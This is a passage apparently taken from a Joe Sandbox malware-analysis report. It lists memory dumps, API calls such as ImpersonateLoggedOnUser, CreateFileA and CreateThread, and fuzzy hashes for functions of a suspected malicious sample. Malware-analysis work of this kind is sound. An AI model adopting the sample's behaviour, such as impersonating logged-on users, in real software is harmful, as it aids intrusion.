Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6f4fb108d10b38fd14676d8f50c48b71f2681d988cc8d25dc73060185475b8fc
Instruction ID: 8f3b2c135e8ff7ccb0c2369b580a36fd4daee724cee677c7b65135102e4f4da5
Opcode Fuzzy Hash: 6f4fb108d10b38fd14676d8f50c48b71f2681d988cc8d25dc73060185475b8fc
Instruction Fuzzy Hash: 57F0C2B710C2627DB304DE6A6990EFF7BACE6C5771B20882BF486CA141C2600C495274

Function 05391308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05391367

Memory Dump Source

Source File: 00000005.00000002.2482717476.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 1dfc8aca66b99bd2e7c7d7016fd8bcef58d4225bd3a3ae0bf6491e9cd71c14da
Instruction ID: 3a0208c000827c2c8aa539e06d0bd020b1928a66de79e88d282cd483a7604423
Opcode Fuzzy Hash: 1dfc8aca66b99bd2e7c7d7016fd8bcef58d4225bd3a3ae0bf6491e9cd71c14da
Instruction Fuzzy Hash: C31125B180024ACFDB10CF9AC585BDEBBF8AB48324F20841AD518A3640D778A544CFA5

Function 05391301 Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05391367

Memory Dump Source

Source File: 00000005.00000002.2482717476.0000000005390000.00000040.00000800.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: fb9f8d9c9b6f4c12b7e357bcae87198e12e890f66d3b69ddce5a4a14398bd8e9
Instruction ID: 1b93e26c9b9868f55e04af819b6b9a1e64d7f2abf74f7cce507b9c62864e255f
Opcode Fuzzy Hash: fb9f8d9c9b6f4c12b7e357bcae87198e12e890f66d3b69ddce5a4a14398bd8e9
Instruction Fuzzy Hash: 7B1125B680024ACFDB10CF99C585BDEBBF8BF48324F24841AD518A3640D7B8A544CFA5

Function 005EB672 Relevance: 1.5, APIs: 1, Instructions: 21
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(58585AE6), ref: 005EB6A5

Memory Dump Source

Source File: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 546835ba44b8316f40f2d3ef9ce8a1e641d69d3b720827d9d3413b84a7a15844
Instruction ID: 15e0c35c720c965cb8f34a060c1a7c394a731860814912e1b7f49e1c4244de6f
Opcode Fuzzy Hash: 546835ba44b8316f40f2d3ef9ce8a1e641d69d3b720827d9d3413b84a7a15844
Instruction Fuzzy Hash: 8BE0867544829B6ADB08DF3558E1B7F3BA47B05302F111849D4CA9B592C7201D449B54

Function 005EB699 Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(58585AE6), ref: 005EB6A5

Memory Dump Source

Source File: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fef4a74fac0bf802561c3b207434492032e9337e5430b56d0148bd2420cef689
Instruction ID: 5e9b4c91b5c5d3ebe9fe2c8d86bbb508187a343550fc4bdb6179f03f6cbaf009
Opcode Fuzzy Hash: fef4a74fac0bf802561c3b207434492032e9337e5430b56d0148bd2420cef689
Instruction Fuzzy Hash: 2CC08C56C863B326EF282B7A0CEDB2F1930AB70B46F014880E4D7AF192C6B408044A81

Function 005F56B8 Relevance: 1.5, APIs: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 005F7379

Memory Dump Source

Source File: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c6cd2bc6a0df8d16f1f22b942e823963e0fe3f98228fec7b5358ebf35019002d
Instruction ID: 7442505d3708bd93dd8edc0fb5e46771adf51774bca06593c76e68b8b1bf7a94
Opcode Fuzzy Hash: c6cd2bc6a0df8d16f1f22b942e823963e0fe3f98228fec7b5358ebf35019002d
Instruction Fuzzy Hash: E8C0027544CA09DBCB066F54904A07DBBA0FE58711F210D5C9AC146A20E63618A0AB47

Function 0062EAB1 Relevance: 1.5, APIs: 1, Instructions: 9threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000), ref: 0062EABE

Memory Dump Source

Source File: 00000005.00000002.2478282251.000000000062D000.00000080.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477653566.0000000000476000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477764171.00000000005D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477791759.00000000005D2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477819578.00000000005F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477881254.00000000005F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477907167.00000000005FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477932870.00000000005FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477963556.00000000005FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478000626.0000000000606000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478037344.0000000000608000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478103899.000000000060C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478202363.0000000000621000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478226866.0000000000623000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478303100.0000000000636000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478361199.0000000000643000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478380912.0000000000644000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478440029.0000000000645000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478472011.0000000000647000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478520706.0000000000648000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478540716.0000000000649000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478596530.000000000064A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478616688.000000000064C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478639237.0000000000655000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478659176.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478678838.0000000000658000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478699107.0000000000660000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478759283.000000000066E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478784926.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478840332.000000000067B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478863463.000000000067E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478923254.000000000067F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478953477.0000000000681000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2478979740.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479077303.0000000000689000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479100129.0000000000690000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479162799.0000000000692000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479186562.0000000000699000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479239613.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479278113.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479299284.000000000069E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479362605.00000000006BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479384600.00000000006BE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479448226.00000000006F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479468122.00000000006F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479519946.0000000000705000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479601463.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2479622614.0000000000716000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_460000_QQVU8579GXGT7ENXLIPV.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: ef66007251cb7b0a91b5df83df4a321f50061b9987459bf0218a7b6770303feb
Instruction ID: b82fe6aeddaab6730f41771273d160d446d3f8fa7f634253214533e7d41fc134
Opcode Fuzzy Hash: ef66007251cb7b0a91b5df83df4a321f50061b9987459bf0218a7b6770303feb
Instruction Fuzzy Hash: 57C02B2334069D36D3203BF09819B0F3E298FC1720F1C0011B3000F0C280910C078315

Function 0060AAB4 Relevance: 1.4, APIs: 1, Instructions: 125sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 0060AAB4

Memory Dump Source

Source File: 00000005.00000002.2478082993.000000000060A000.00000080.00000001.01000000.00000006.sdmp, Offset: 00460000, based on PE: true

Associated: 00000005.00000002.2477543164.0000000000460000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477572320.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477599377.0000000000466000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2477625213.000000000046A000.00000040.00000001.01000000.00000006.sdmpDownload File
